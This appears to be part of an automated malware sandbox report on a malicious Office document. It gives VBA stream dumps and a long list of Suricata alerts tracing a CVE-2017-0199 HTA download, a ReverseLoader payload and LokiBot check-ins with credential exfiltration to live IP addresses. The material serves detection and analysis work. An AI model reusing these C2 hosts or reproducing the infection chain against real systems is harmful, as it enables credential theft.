Data ASCII:	a . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 0 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 6 . \\ . V . B . E . 6 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o . r .
Data Raw:	cc 61 88 00 00 01 00 ff 09 40 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 30 00 23 00

Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 553

General
Stream Path:	_VBA_PROJECT_CUR/VBA/dir
CLSID:
File Type:	data
Stream Size:	553
Entropy:	6.360957418031639
Base64 Encoded:	True
Data ASCII:	. % . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . W . 4 i . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s W O W 6 4 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 .
Data Raw:	01 25 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 57 03 34 69 08 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-30T07:52:53.836549+0100	2858295	ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)	1	198.46.178.151	80	192.168.2.22	49175	TCP
2024-10-30T07:52:53.836549+0100	2858295	ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)	1	198.46.178.151	80	192.168.2.22	49187	TCP
2024-10-30T07:52:53.836549+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49250	94.156.177.220	80	TCP
2024-10-30T07:52:53.836549+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49250	94.156.177.220	80	TCP
2024-10-30T07:52:53.836549+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49250	TCP
2024-10-30T07:52:55.757026+0100	2024449	ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl	1	192.168.2.22	49162	198.46.178.151	80	TCP
2024-10-30T07:52:55.762524+0100	2024197	ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)	1	198.46.178.151	80	192.168.2.22	49162	TCP
2024-10-30T07:52:58.109395+0100	2024449	ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl	1	192.168.2.22	49164	198.46.178.151	80	TCP
2024-10-30T07:52:58.109413+0100	2024197	ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)	1	198.46.178.151	80	192.168.2.22	49164	TCP
2024-10-30T07:53:08.524319+0100	2858795	ETPRO MALWARE ReverseLoader Payload Request (GET) M2	1	192.168.2.22	49165	198.46.178.151	80	TCP
2024-10-30T07:53:18.743229+0100	2024449	ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl	1	192.168.2.22	49171	198.46.178.151	80	TCP
2024-10-30T07:53:23.995703+0100	2049038	ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2	1	142.250.185.97	443	192.168.2.22	49172	TCP
2024-10-30T07:53:40.571720+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49176	94.156.177.220	80	TCP
2024-10-30T07:53:40.571720+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49176	94.156.177.220	80	TCP
2024-10-30T07:53:40.571720+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49176	94.156.177.220	80	TCP
2024-10-30T07:53:40.610748+0100	2049038	ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2	1	142.250.185.97	443	192.168.2.22	49174	TCP
2024-10-30T07:53:41.533689+0100	2024312	ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1	1	192.168.2.22	49176	94.156.177.220	80	TCP
2024-10-30T07:53:41.793799+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49177	94.156.177.220	80	TCP
2024-10-30T07:53:41.793799+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49177	94.156.177.220	80	TCP
2024-10-30T07:53:41.793799+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49177	94.156.177.220	80	TCP
2024-10-30T07:53:42.777983+0100	2024312	ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1	1	192.168.2.22	49177	94.156.177.220	80	TCP
2024-10-30T07:53:42.884566+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49178	94.156.177.220	80	TCP
2024-10-30T07:53:42.884566+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49178	94.156.177.220	80	TCP
2024-10-30T07:53:42.884566+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49178	94.156.177.220	80	TCP
2024-10-30T07:53:43.865114+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49178	94.156.177.220	80	TCP
2024-10-30T07:53:43.865114+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49178	94.156.177.220	80	TCP
2024-10-30T07:53:43.871517+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49178	TCP
2024-10-30T07:53:44.056556+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49179	94.156.177.220	80	TCP
2024-10-30T07:53:44.056556+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49179	94.156.177.220	80	TCP
2024-10-30T07:53:44.056556+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49179	94.156.177.220	80	TCP
2024-10-30T07:53:45.012542+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49179	94.156.177.220	80	TCP
2024-10-30T07:53:45.012542+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49179	94.156.177.220	80	TCP
2024-10-30T07:53:45.018620+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49179	TCP
2024-10-30T07:53:45.417575+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-30T07:53:45.417575+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-30T07:53:45.417575+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-30T07:53:46.386961+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-30T07:53:46.386961+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-30T07:53:46.392390+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49180	TCP
2024-10-30T07:53:46.634814+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-30T07:53:46.634814+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-30T07:53:46.634814+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-30T07:53:47.577321+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-30T07:53:47.577321+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-30T07:53:47.583065+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49181	TCP
2024-10-30T07:53:48.536668+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-30T07:53:48.536668+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-30T07:53:48.536668+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-30T07:53:49.526232+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-30T07:53:49.526232+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-30T07:53:49.531767+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49182	TCP
2024-10-30T07:53:49.726273+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-30T07:53:49.726273+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-30T07:53:49.726273+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-30T07:53:50.688405+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-30T07:53:50.688405+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-30T07:53:50.694273+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49183	TCP
2024-10-30T07:53:50.884888+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-30T07:53:50.884888+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-30T07:53:50.884888+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-30T07:53:51.846047+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-30T07:53:51.846047+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-30T07:53:51.851632+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49184	TCP
2024-10-30T07:53:52.061620+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-30T07:53:52.061620+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-30T07:53:52.061620+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-30T07:53:52.989036+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-30T07:53:52.989036+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-30T07:53:52.994621+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49185	TCP
2024-10-30T07:53:53.184557+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-30T07:53:53.184557+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-30T07:53:53.184557+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-30T07:53:54.140609+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-30T07:53:54.140609+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-30T07:53:54.146098+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49186	TCP
2024-10-30T07:53:54.279646+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-30T07:53:54.279646+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-30T07:53:54.279646+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-30T07:53:55.294228+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-30T07:53:55.294228+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-30T07:53:55.300459+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49188	TCP
2024-10-30T07:53:55.512451+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-30T07:53:55.512451+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-30T07:53:55.512451+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-30T07:53:56.479757+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-30T07:53:56.479757+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-30T07:53:56.485448+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49189	TCP
2024-10-30T07:53:56.618452+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-30T07:53:56.618452+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-30T07:53:56.618452+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-30T07:53:57.576318+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-30T07:53:57.576318+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-30T07:53:57.581918+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49190	TCP
2024-10-30T07:53:57.725696+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-30T07:53:57.725696+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-30T07:53:57.725696+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-30T07:53:58.678323+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-30T07:53:58.678323+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-30T07:53:58.684171+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49191	TCP
2024-10-30T07:53:59.101107+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-30T07:53:59.101107+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-30T07:53:59.101107+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-30T07:54:00.057819+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-30T07:54:00.057819+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-30T07:54:00.063465+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49192	TCP
2024-10-30T07:54:00.206573+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-30T07:54:00.206573+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-30T07:54:00.206573+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-30T07:54:01.168690+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-30T07:54:01.168690+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-30T07:54:01.174131+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49193	TCP
2024-10-30T07:54:01.346182+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-30T07:54:01.346182+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-30T07:54:01.346182+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-30T07:54:02.343133+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-30T07:54:02.343133+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-30T07:54:02.348696+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49194	TCP
2024-10-30T07:54:02.497379+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-30T07:54:02.497379+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-30T07:54:02.497379+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-30T07:54:03.472871+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-30T07:54:03.472871+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-30T07:54:03.478716+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49195	TCP
2024-10-30T07:54:04.902816+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-30T07:54:04.902816+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-30T07:54:04.902816+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-30T07:54:05.858768+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-30T07:54:05.858768+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-30T07:54:05.864650+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49196	TCP
2024-10-30T07:54:06.016439+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-30T07:54:06.016439+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-30T07:54:06.016439+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-30T07:54:06.964364+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-30T07:54:06.964364+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-30T07:54:06.972939+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49197	TCP
2024-10-30T07:54:07.406668+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-30T07:54:07.406668+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-30T07:54:07.406668+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-30T07:54:08.369666+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-30T07:54:08.369666+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-30T07:54:08.375209+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49198	TCP
2024-10-30T07:54:08.745394+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-30T07:54:08.745394+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-30T07:54:08.745394+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-30T07:54:09.713887+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-30T07:54:09.713887+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-30T07:54:09.719513+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49199	TCP
2024-10-30T07:54:09.865003+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-30T07:54:09.865003+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-30T07:54:09.865003+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-30T07:54:10.864890+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-30T07:54:10.864890+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-30T07:54:10.870547+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49200	TCP
2024-10-30T07:54:11.029182+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-30T07:54:11.029182+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-30T07:54:11.029182+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-30T07:54:11.983571+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-30T07:54:11.983571+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-30T07:54:11.989306+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49201	TCP
2024-10-30T07:54:12.297226+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-30T07:54:12.297226+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-30T07:54:12.297226+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-30T07:54:13.238037+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-30T07:54:13.238037+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-30T07:54:13.243832+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49202	TCP
2024-10-30T07:54:13.413593+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-30T07:54:13.413593+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-30T07:54:13.413593+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-30T07:54:14.375598+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-30T07:54:14.375598+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-30T07:54:14.381178+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49203	TCP
2024-10-30T07:54:14.527346+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-30T07:54:14.527346+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-30T07:54:14.527346+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-30T07:54:15.478401+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-30T07:54:15.478401+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-30T07:54:15.483988+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49204	TCP
2024-10-30T07:54:15.621149+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-30T07:54:15.621149+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-30T07:54:15.621149+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-30T07:54:16.571399+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49205	94.156.177.220	80	TCP
